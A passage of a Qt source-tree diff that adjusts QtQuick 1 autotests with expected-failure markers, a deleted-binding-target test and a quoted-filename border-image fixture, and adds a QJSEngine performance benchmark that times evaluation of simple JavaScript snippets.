QCOMPARE(delegate->property("test1").toString(),QString("Item 2"));
- QEXPECT_FAIL("", "QTBUG-13576", Continue);
QCOMPARE(delegate->property("test2").toString(),QString("Item 2"));
QVERIFY(qobject_cast<DataObject*>(delegate->property("test3").value<QObject*>()) != 0);
QVERIFY(qobject_cast<DataObject*>(delegate->property("test4").value<QObject*>()) != 0);
diff --git a/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp b/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp
index cfacae2428..0e2490a3cf 100644
--- a/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp
+++ b/tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp
@@ -71,7 +71,8 @@ private:
tst_moduleqt47::tst_moduleqt47()
{
excludedFiles << "tests/auto/qtquick1/moduleqt47/data/importqt47.qml"
- << "doc/src/declarative/whatsnew.qdoc";
+ << "doc/src/declarative/whatsnew.qdoc"
+ << "doc/src/qtquick1/whatsnew.qdoc";
}
void tst_moduleqt47::create()
diff --git a/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp b/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
index 773fc24148..68efbe1b3f 100644
--- a/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
+++ b/tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
@@ -401,6 +401,9 @@ void tst_qdeclarativebehaviors::sameValue()
QCOMPARE(target->x(), qreal(100));
target->setProperty("x", 0);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21001 fails", Abort);
+#endif
QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100));
QTRY_VERIFY(target->x() == qreal(0)); //make sure Behavior has finished.
diff --git a/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml b/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml
new file mode 100644
index 0000000000..ba4c9f6f7c
--- /dev/null
+++ b/tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 400
+ height: 400
+
+ property bool activateBinding: false
+
+ Binding {
+ id: binding
+ target: Qt.createQmlObject('import QtQuick 1.0; Item { property real value: 10 }', wrapper)
+ property: "value"
+ when: activateBinding
+ value: x + y
+ }
+
+ Component.onCompleted: binding.target.destroy();
+
+// MouseArea {
+// anchors.fill: parent
+// onClicked: activateBinding = true;
+// }
+}
diff --git a/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp
index 776fa528cf..54ff801375 100644
--- a/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp
+++ b/tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp
@@ -60,6 +60,7 @@ public:
private slots:
void binding();
void whenAfterValue();
+ void deletedObject();
private:
QDeclarativeEngine engine;
@@ -113,6 +114,22 @@ void tst_qdeclarativebinding::whenAfterValue()
delete rect;
}
+//QTBUG-20692
+void tst_qdeclarativebinding::deletedObject()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/deletedObject.qml"));
+ QDeclarative1Rectangle *rect = qobject_cast<QDeclarative1Rectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QApplication::sendPostedEvents(0, QEvent::DeferredDelete);
+
+ //don't crash
+ rect->setProperty("activateBinding", true);
+
+ delete rect;
+}
+
QTEST_MAIN(tst_qdeclarativebinding)
#include "tst_qdeclarativebinding.moc"
diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci
new file mode 100644
index 0000000000..294f3cfe48
--- /dev/null
+++ b/tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:"colors.png"
diff --git a/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
index d5631469a5..9ef2aaeb56 100644
--- a/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
+++ b/tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
@@ -333,8 +333,10 @@ void tst_qdeclarativeborderimage::sciSource_data()
QTest::addColumn<bool>("valid");
QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
+ QTest::newRow("local quoted filename") << QUrl::fromLocalFile(SRCDIR "/data/colors-round-quotes.sci").toString() << true;
QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
+ QTest::newRow("remote filename quoted") << SERVER_ADDR "/colors-round-quotes.sci" << true;
QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
}
diff --git a/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro b/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro
index 64d5d0a518..22d015c798 100644
--- a/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro
+++ b/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro
@@ -15,3 +15,4 @@ symbian: {
CONFIG += parallel_test
QT += core-private gui-private declarative-private qtquick1-private
+qpa:contains(QT_CONFIG,xcb):CONFIG+=insignificant_test # QTBUG-21012 fails on exit (X11-specific)
diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro b/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro
index f532585b89..5e943d73fe 100644
--- a/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro
+++ b/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro
@@ -12,3 +12,4 @@ symbian: {
}
QT += core-private gui-private declarative-private qtquick1-private
+qpa:CONFIG+=insignificant_test # QTBUG-21013 unstable
diff --git a/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro b/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro
index 0b87e3c9e7..459f80bec2 100644
--- a/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro
+++ b/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro
@@ -15,3 +15,4 @@ symbian: {
CONFIG += parallel_test
QT += core-private gui-private declarative-private qtquick1-private
+qpa:contains(QT_CONFIG,xcb):CONFIG+=insignificant_test # QTBUG-21012 fails on exit (X11-specific)
diff --git a/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp
index d6984cb98a..8398ec6061 100644
--- a/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp
+++ b/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp
@@ -1329,6 +1329,9 @@ void tst_qdeclarativetext::lineHeight()
qreal h = myText->height();
myText->setLineHeight(1.5);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21015 fails", Continue);
+#endif
QVERIFY(myText->height() == h * 1.5);
myText->setLineHeightMode(QDeclarative1Text::FixedHeight);
diff --git a/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
index 94378e96c3..76f4687e2e 100644
--- a/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
+++ b/tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
@@ -1617,6 +1617,9 @@ void tst_qdeclarativetextedit::positionAt()
int pos = texteditObject->positionAt(texteditObject->width()/2, y0);
int diff = abs(int(fm.width(texteditObject->text().left(pos))-texteditObject->width()/2));
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21016 fails", Continue);
+#endif
// some tollerance for different fonts.
#ifdef Q_OS_LINUX
QVERIFY(diff < 2);
diff --git a/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
index 7cc79c7878..2d86a4b038 100644
--- a/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
+++ b/tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
@@ -1324,6 +1324,9 @@ void tst_qdeclarativetextinput::positionAt()
pos = textinputObject->positionAt(textinputObject->width()/2);
diff = abs(int(fm.width(textinputObject->text().left(pos))-textinputObject->width()/2));
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21017 fails", Continue);
+#endif
// some tollerance for different fonts.
#ifdef Q_OS_LINUX
QVERIFY(diff < 2);
@@ -2336,6 +2339,9 @@ void tst_qdeclarativetextinput::setHAlignClearCache()
view.show();
QApplication::setActiveWindow(&view);
QTest::qWaitForWindowShown(&view);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21017 fails", Abort);
+#endif
QTRY_COMPARE(input.nbPaint, 1);
input.setHAlign(QDeclarative1TextInput::AlignRight);
QApplication::processEvents();
@@ -2444,6 +2450,9 @@ void tst_qdeclarativetextinput::preeditAutoScroll()
// test the text is scrolled so the preedit is visible.
ic.sendPreeditText(preeditText.mid(0, 3), 1);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21017 fails", Abort);
+#endif
QVERIFY(input.positionAt(0) != 0);
QVERIFY(input.cursorRectangle().left() < input.boundingRect().width());
QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
diff --git a/tests/benchmarks/declarative/declarative.pro b/tests/benchmarks/declarative/declarative.pro
index f2dfdf971a..820d84b0a2 100644
--- a/tests/benchmarks/declarative/declarative.pro
+++ b/tests/benchmarks/declarative/declarative.pro
@@ -10,7 +10,8 @@ SUBDIRS += \
qdeclarativeimage \
qdeclarativemetaproperty \
script \
- qmltime
+ qmltime \
+ js
contains(QT_CONFIG, opengl): SUBDIRS += painting
diff --git a/tests/benchmarks/declarative/js/js.pro b/tests/benchmarks/declarative/js/js.pro
new file mode 100644
index 0000000000..b1448d8eb8
--- /dev/null
+++ b/tests/benchmarks/declarative/js/js.pro
@@ -0,0 +1,10 @@
+TEMPLATE = subdirs
+SUBDIRS = \
+ qjsengine \
+ qjsvalue \
+ qjsvalueiterator \
+
+TRUSTED_BENCHMARKS += \
+ qjsvalue \
+ qjsengine \
+
diff --git a/tests/benchmarks/declarative/js/qjsengine/qjsengine.pro b/tests/benchmarks/declarative/js/qjsengine/qjsengine.pro
new file mode 100644
index 0000000000..cbd128bf97
--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsengine/qjsengine.pro
@@ -0,0 +1,12 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_qjsengine
+
+SOURCES += tst_qjsengine.cpp
+
+QT += declarative
+
+symbian* {
+ TARGET.EPOCHEAPSIZE = 0x20000 0x2000000 // Min 128kB, Max 32MB
+ TARGET.EPOCSTACKSIZE = 0x14000
+}
diff --git a/tests/benchmarks/declarative/js/qjsengine/tst_qjsengine.cpp b/tests/benchmarks/declarative/js/qjsengine/tst_qjsengine.cpp
new file mode 100644
index 0000000000..ba486df2b1
--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsengine/tst_qjsengine.cpp
@@ -0,0 +1,677 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative/qjsvalue.h>
+#include <QtDeclarative/qjsengine.h>
+
+
+Q_DECLARE_METATYPE(QJSValue)
+
+//TESTED_FILES=
+
+class tst_QJSEngine : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_QJSEngine();
+ virtual ~tst_QJSEngine();
+
+public slots:
+ void init();
+ void cleanup();
+
+private slots:
+ void constructor();
+#if 0 // No defaultPrototype for now
+ void defaultPrototype();
+ void setDefaultPrototype();
+#endif
+ void evaluate_data();
+ void evaluate();
+#if 0 // No program
+ void evaluateProgram_data();
+ void evaluateProgram();
+#endif
+#if 0 // no connections for now
+ void connectAndDisconnect();
+#endif
+ void globalObject();
+ void hasUncaughtException();
+#if 0 // no is Evaluating for now
+ void isEvaluating();
+#endif
+ void newArray_data();
+ void newArray();
+ void newDate();
+ void newDateFromMs();
+ void newObject();
+#if 0 // No ScriptClass
+ void newObjectWithScriptClass();
+#endif
+#if 0 // no qmetaobject
+ void newQMetaObject();
+#endif
+ void newQObject();
+#if 0 // no native functions for now
+ void newFunction();
+#endif
+ void newRegExp();
+ void newRegExpFromString();
+ void newVariant();
+ void nullValue();
+ void undefinedValue();
+ void collectGarbage();
+#if 0 // No extensions
+ void availableExtensions();
+ void importedExtensions();
+#endif
+#if 0 // no context
+ void currentContext();
+ void pushAndPopContext();
+#endif
+ void toObject_data();
+ void toObject();
+#if 0 // no stringhandle
+ void toStringHandle();
+#endif
+ void castValueToQreal();
+#if 0 // no native functions for now
+ void nativeCall();
+#endif
+#if 0 // no translations
+ void installTranslatorFunctions();
+ void translation_data();
+ void translation();
+#endif
+#if 0 // no declarative class
+ void readScopeProperty_data();
+ void readScopeProperty();
+#endif
+#if 0 // no context
+ void evaluateInNewContext();
+ void evaluateInNewContextWithScope();
+#endif
+#if 0 // no pushScope
+ void evaluateBindingExpression();
+#endif
+
+private:
+ void defineStandardTestValues();
+ void newEngine()
+ {
+ delete m_engine;
+ m_engine = new QJSEngine;
+ }
+
+ QJSEngine *m_engine;
+};
+
+tst_QJSEngine::tst_QJSEngine()
+ : m_engine(0)
+{
+}
+
+tst_QJSEngine::~tst_QJSEngine()
+{
+ delete m_engine;
+}
+
+void tst_QJSEngine::init()
+{
+}
+
+void tst_QJSEngine::cleanup()
+{
+}
+
+void tst_QJSEngine::constructor()
+{
+ QBENCHMARK {
+ QJSEngine engine;
+ (void)engine.parent();
+ }
+}
+
+#if 0 // No defaultPrototype for now
+void tst_QJSEngine::defaultPrototype()
+{
+ newEngine();
+ int type = qMetaTypeId<int>();
+ m_engine->setDefaultPrototype(type, m_engine->newObject());
+ QBENCHMARK {
+ m_engine->defaultPrototype(type);
+ }
+}
+
+void tst_QJSEngine::setDefaultPrototype()
+{
+ newEngine();
+ int type = qMetaTypeId<int>();
+ QJSValue proto = m_engine->newObject();
+ QBENCHMARK {
+ m_engine->setDefaultPrototype(type, proto);
+ }
+}
+
+#endif
+
+void tst_QJSEngine::evaluate_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::newRow("empty script") << QString::fromLatin1("");
+ QTest::newRow("number literal") << QString::fromLatin1("123");
+ QTest::newRow("string literal") << QString::fromLatin1("'ciao'");
+ QTest::newRow("regexp literal") << QString::fromLatin1("/foo/gim");
+ QTest::newRow("null literal") << QString::fromLatin1("null");
+ QTest::newRow("undefined literal") << QString::fromLatin1("undefined");
+ QTest::newRow("null literal") << QString::fromLatin1("null");
+ QTest::newRow("empty object literal") << QString::fromLatin1("{}");
+ QTest::newRow("this") << QString::fromLatin1("this");
+ QTest::newRow("object literal with one property") << QString::fromLatin1("{ foo: 123 }");
+ QTest::newRow("object literal with two properties") << QString::fromLatin1("{ foo: 123, bar: 456 }");
+ QTest::newRow("object literal with many properties") << QString::fromLatin1("{ a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7, h: 8, i: 9, j: 10 }");
+ QTest::newRow("empty array literal") << QString::fromLatin1("[]");
+ QTest::newRow("array literal with one element") << QString::fromLatin1("[1]");
+ QTest::newRow("array literal with two elements") << QString::fromLatin1("[1,2]");
+ QTest::newRow("array literal with many elements") << QString::fromLatin1("[1,2,3,4,5,6,7,8,9,10,9,8,7,6,5,4,3,2,1]");
+ QTest::newRow("empty function definition") << QString::fromLatin1("function foo() { }");
+ QTest::newRow("function definition") << QString::fromLatin1("function foo() { return 123; }");
+ QTest::newRow("for loop with empty body (1000 iterations)") << QString::fromLatin1("for (i = 0; i < 1000; ++i) {}");
+ QTest::newRow("for loop with empty body (10000 iterations)") << QString::fromLatin1("for (i = 0; i < 10000; ++i) {}");
+ QTest::newRow("for loop with empty body (100000 iterations)") << QString::fromLatin1("for (i = 0; i < 100000; ++i) {}");
+ QTest::newRow("for loop with empty body (1000000 iterations)") << QString::fromLatin1("for (i = 0; i < 1000000; ++i) {}");
+ QTest::newRow("for loop (1000 iterations)") << QString::fromLatin1("j = 0; for (i = 0; i < 1000; ++i) { j += i; }; j");
+ QTest::newRow("for loop (10000 iterations)") << QString::fromLatin1("j = 0; for (i = 0; i < 10000; ++i) { j += i; }; j");
+ QTest::newRow("for loop (100000 iterations)") << QString::fromLatin1("j = 0; for (i = 0; i < 100000; ++i) { j += i; }; j");
+ QTest::newRow("for loop (1000000 iterations)") << QString::fromLatin1("j = 0; for (i = 0; i < 1000000; ++i) { j += i; }; j");
+ QTest::newRow("assignments") << QString::fromLatin1("a = 1; b = 2; c = 3; d = 4");
+ QTest::newRow("while loop (1000 iterations)") << QString::fromLatin1("i = 0; while (i < 1000) { ++i; }; i");
+ QTest::newRow("while loop (10000 iterations)") << QString::fromLatin1("i = 0; while (i < 10000) { ++i; }; i");
+ QTest::newRow("while loop (100000 iterations)") << QString::fromLatin1("i = 0; while (i < 100000) { ++i; }; i");
+ QTest::newRow("while loop (1000000 iterations)") << QString::fromLatin1("i = 0; while (i < 1000000) { ++i; }; i");
+ QTest::newRow("function expression") << QString::fromLatin1("(function(a, b, c){ return a + b + c; })(1, 2, 3)");
+}
+
+void tst_QJSEngine::evaluate()
+{
+ QFETCH(QString, code);
+ newEngine();
+
+ QBENCHMARK {
+ (void)m_engine->evaluate(code);
+ }
+}
+
+#if 0
+void tst_QJSEngine::connectAndDisconnect()
+{
+ newEngine();
+ QJSValue fun = m_engine->evaluate("(function() { })");
+ QBENCHMARK {
+ qScriptConnect(m_engine, SIGNAL(destroyed()), QJSValue(), fun);
+ qScriptDisconnect(m_engine, SIGNAL(destroyed()), QJSValue(), fun);
+ }
+}
+
+void tst_QJSEngine::evaluateProgram_data()
+{
+ evaluate_data();
+}
+
+void tst_QJSEngine::evaluateProgram()
+{
+ QFETCH(QString, code);
+ QScriptProgram program(code);
+ newEngine();
+
+ QBENCHMARK {
+ (void)m_engine->evaluate(program);
+ }
+}
+#endif
+
+void tst_QJSEngine::globalObject()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->globalObject();
+ }
+}
+
+void tst_QJSEngine::hasUncaughtException()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->hasUncaughtException();
+ }
+}
+
+#if 0
+void tst_QJSEngine::isEvaluating()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->isEvaluating();
+ }
+}
+#endif
+
+void tst_QJSEngine::newArray_data()
+{
+ QTest::addColumn<int>("size");
+ QTest::newRow("size=0") << 0;
+ QTest::newRow("size=10") << 10;
+ QTest::newRow("size=100") << 0;
+ QTest::newRow("size=1000") << 0;
+ QTest::newRow("size=10000") << 0;
+ QTest::newRow("size=50000") << 0;
+}
+
+void tst_QJSEngine::newArray()
+{
+ QFETCH(int, size);
+ newEngine();
+ QBENCHMARK {
+ m_engine->newArray(size);
+ }
+}
+
+void tst_QJSEngine::newDate()
+{
+ newEngine();
+ QDateTime dt = QDateTime::currentDateTime();
+ QBENCHMARK {
+ m_engine->newDate(dt);
+ }
+}
+
+void tst_QJSEngine::newDateFromMs()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->newDate(0);
+ }
+}
+
+void tst_QJSEngine::newObject()
+{
+ newEngine();
+ QBENCHMARK {
+ (void)m_engine->newObject();
+ }
+}
+
+#if 0
+void tst_QJSEngine::newObjectWithScriptClass()
+{
+ newEngine();
+ QScriptClass cls(m_engine);
+ QBENCHMARK {
+ m_engine->newObject(&cls);
+ }
+}
+
+void tst_QJSEngine::newQMetaObject()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->newQMetaObject(&QJSEngine::staticMetaObject);
+ }
+}
+#endif
+
+void tst_QJSEngine::newQObject()
+{
+ newEngine();
+ QBENCHMARK {
+ (void)m_engine->newQObject(QCoreApplication::instance());
+ }
+}
+
+#if 0
+static QJSValue testFunction(QScriptContext *, QJSEngine *)
+{
+ return 0;
+}
+
+void tst_QJSEngine::newFunction()
+{
+ newEngine();
+ QBENCHMARK {
+ (void)m_engine->newFunction(testFunction);
+ }
+}
+#endif
+
+void tst_QJSEngine::newRegExp()
+{
+ newEngine();
+ QRegExp re = QRegExp("foo");
+ QBENCHMARK {
+ m_engine->newRegExp(re);
+ }
+}
+
+void tst_QJSEngine::newRegExpFromString()
+{
+ newEngine();
+ QString pattern("foo");
+ QString flags("gim");
+ QBENCHMARK {
+ m_engine->newRegExp(pattern, flags);
+ }
+}
+
+void tst_QJSEngine::newVariant()
+{
+ newEngine();
+ QVariant var(123);
+ QBENCHMARK {
+ (void)m_engine->newVariant(var);
+ }
+}
+
+void tst_QJSEngine::nullValue()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->nullValue();
+ }
+}
+
+void tst_QJSEngine::undefinedValue()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->undefinedValue();
+ }
+}
+
+void tst_QJSEngine::collectGarbage()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->collectGarbage();
+ }
+}
+
+#if 0
+void tst_QJSEngine::availableExtensions()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->availableExtensions();
+ }
+}
+
+void tst_QJSEngine::importedExtensions()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->importedExtensions();
+ }
+}
+
+void tst_QJSEngine::currentContext()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->currentContext();
+ }
+}
+
+void tst_QJSEngine::pushAndPopContext()
+{
+ newEngine();
+ QBENCHMARK {
+ (void)m_engine->pushContext();
+ m_engine->popContext();
+ }
+}
+#endif
+
+void tst_QJSEngine::toObject_data()
+{
+ newEngine();
+ QTest::addColumn<QJSValue>("val");
+ QTest::newRow("bool") << m_engine->evaluate("true");
+ QTest::newRow("number") << m_engine->evaluate("123");
+ QTest::newRow("string") << m_engine->evaluate("'ciao'");
+ QTest::newRow("null") << m_engine->evaluate("null");
+ QTest::newRow("undefined") << m_engine->evaluate("undefined");
+ QTest::newRow("object") << m_engine->evaluate("({foo:123})");
+ QTest::newRow("array") << m_engine->evaluate("[10,20,30]");
+ QTest::newRow("function") << m_engine->evaluate("(function foo(a, b, c) { return a + b + c; })");
+ QTest::newRow("date") << m_engine->evaluate("new Date");
+ QTest::newRow("regexp") << m_engine->evaluate("new RegExp('foo')");
+ QTest::newRow("error") << m_engine->evaluate("new Error");
+
+ QTest::newRow("qobject") << m_engine->newQObject(this);
+#if 0 // no QMetaObject
+ QTest::newRow("qmetaobject") << m_engine->newQMetaObject(&QJSEngine::staticMetaObject);
+#endif
+ QTest::newRow("variant") << m_engine->newVariant(123);
+#if 0 //no classes
+ QTest::newRow("qscriptclassobject") << m_engine->newObject(new QScriptClass(m_engine));
+#endif
+ QTest::newRow("invalid") << QJSValue();
+ QTest::newRow("bool-no-engine") << QJSValue(true);
+ QTest::newRow("number-no-engine") << QJSValue(123.0);
+ QTest::newRow("string-no-engine") << QJSValue(QString::fromLatin1("hello"));
+ QTest::newRow("null-no-engine") << QJSValue(QJSValue::NullValue);
+ QTest::newRow("undefined-no-engine") << QJSValue(QJSValue::UndefinedValue);
+}
+
+void tst_QJSEngine::toObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ m_engine->toObject(val);
+ }
+}
+
+#if 0
+void tst_QJSEngine::toStringHandle()
+{
+ newEngine();
+ QString str = QString::fromLatin1("foobarbaz");
+ QBENCHMARK {
+ (void)m_engine->toStringHandle(str);
+ }
+}
+#endif
+
+void tst_QJSEngine::castValueToQreal()
+{
+ QJSValue val(123);
+ QBENCHMARK {
+ (void)qjsvalue_cast<qreal>(val);
+ }
+}
+
+#if 0
+static QJSValue native_function(QScriptContext *, QJSEngine *)
+{
+ return 42;
+}
+
+void tst_QJSEngine::nativeCall()
+{
+ newEngine();
+ m_engine->globalObject().setProperty("fun", m_engine->newFunction(native_function));
+ QBENCHMARK{
+#if !defined(Q_OS_SYMBIAN)
+ m_engine->evaluate("var w = 0; for (i = 0; i < 100000; ++i) {\n"
+ " w += fun() + fun(); w -= fun(); fun(); w -= fun(); }");
+#else
+ m_engine->evaluate("var w = 0; for (i = 0; i < 25000; ++i) {\n"
+ " w += fun() + fun(); w -= fun(); fun(); w -= fun(); }");
+#endif
+ }
+}
+
+void tst_QJSEngine::installTranslatorFunctions()
+{
+ newEngine();
+ QBENCHMARK {
+ m_engine->installTranslatorFunctions();
+ }
+}
+
+void tst_QJSEngine::translation_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("fileName");
+ QTest::newRow("no translation") << "\"hello world\"" << "";
+ QTest::newRow("qsTr") << "qsTr(\"hello world\")" << "";
+ QTest::newRow("qsTranslate") << "qsTranslate(\"\", \"hello world\")" << "";
+ QTest::newRow("qsTr:script.js") << "qsTr(\"hello world\")" << "script.js";
+}
+
+void tst_QJSEngine::translation()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, fileName);
+ newEngine();
+ m_engine->installTranslatorFunctions();
+
+ QBENCHMARK {
+ (void)m_engine->evaluate(text, fileName);
+ }
+}
+#endif
+
+#if 0
+void tst_QJSEngine::readScopeProperty_data()
+{
+ QTest::addColumn<bool>("staticScope");
+ QTest::addColumn<bool>("nestedScope");
+ QTest::newRow("single dynamic scope") << false << false;
+ QTest::newRow("single static scope") << true << false;
+ QTest::newRow("double dynamic scope") << false << true;
+ QTest::newRow("double static scope") << true << true;
+}
+
+void tst_QJSEngine::readScopeProperty()
+{
+ QFETCH(bool, staticScope);
+ QFETCH(bool, nestedScope);
+
+ newEngine();
+ QScriptContext *ctx = m_engine->pushContext();
+
+ QJSValue scope;
+ if (staticScope)
+ scope = QScriptDeclarativeClass::newStaticScopeObject(m_engine);
+ else
+ scope = m_engine->newObject();
+ scope.setProperty("foo", 123);
+ ctx->pushScope(scope);
+
+ if (nestedScope) {
+ QJSValue scope2;
+ if (staticScope)
+ scope2 = QScriptDeclarativeClass::newStaticScopeObject(m_engine);
+ else
+ scope2 = m_engine->newObject();
+ scope2.setProperty("bar", 456); // ensure a miss in inner scope
+ ctx->pushScope(scope2);
+ }
+
+ QJSValue fun = m_engine->evaluate("(function() {\n"
+ " for (var i = 0; i < 10000; ++i) {\n"
+ " foo; foo; foo; foo; foo; foo; foo; foo;\n"
+ " }\n"
+ "})");
+ m_engine->popContext();
+ QVERIFY(fun.isFunction());
+ QBENCHMARK {
+ fun.call();
+ }
+}
+
+void tst_QJSEngine::evaluateInNewContext()
+{
+ QJSEngine engine;
+ QBENCHMARK {
+ engine.pushContext();
+ engine.evaluate("var a = 10");
+ engine.popContext();
+ }
+}
+
+void tst_QJSEngine::evaluateInNewContextWithScope()
+{
+ QJSEngine engine;
+ QJSValue scope = engine.newObject();
+ scope.setProperty("foo", 123);
+ QBENCHMARK {
+ QScriptContext *ctx = engine.pushContext();
+ ctx->pushScope(scope);
+ engine.evaluate("foo");
+ engine.popContext();
+ }
+}
+
+// Binding expressions in QML are implemented as anonymous functions
+// with custom scopes.
+void tst_QJSEngine::evaluateBindingExpression()
+{
+ QJSEngine engine;
+ QScriptContext *ctx = engine.pushContext();
+ QJSValue scope = engine.newObject();
+ scope.setProperty("foo", 123);
+ ctx->pushScope(scope);
+ QJSValue fun = engine.evaluate("(function() { return foo; })");
+ QVERIFY(fun.isFunction());
+ engine.popContext();
+ QVERIFY(fun.call().equals(scope.property("foo")));
+ QJSValue receiver = engine.globalObject();
+ QBENCHMARK {
+ fun.call(receiver);
+ }
+}
+#endif
+
+QTEST_MAIN(tst_QJSEngine)
+#include "tst_qjsengine.moc"
diff --git a/tests/benchmarks/declarative/js/qjsvalue/qjsvalue.pro b/tests/benchmarks/declarative/js/qjsvalue/qjsvalue.pro
new file mode 100644
index 0000000000..48c40a2a52
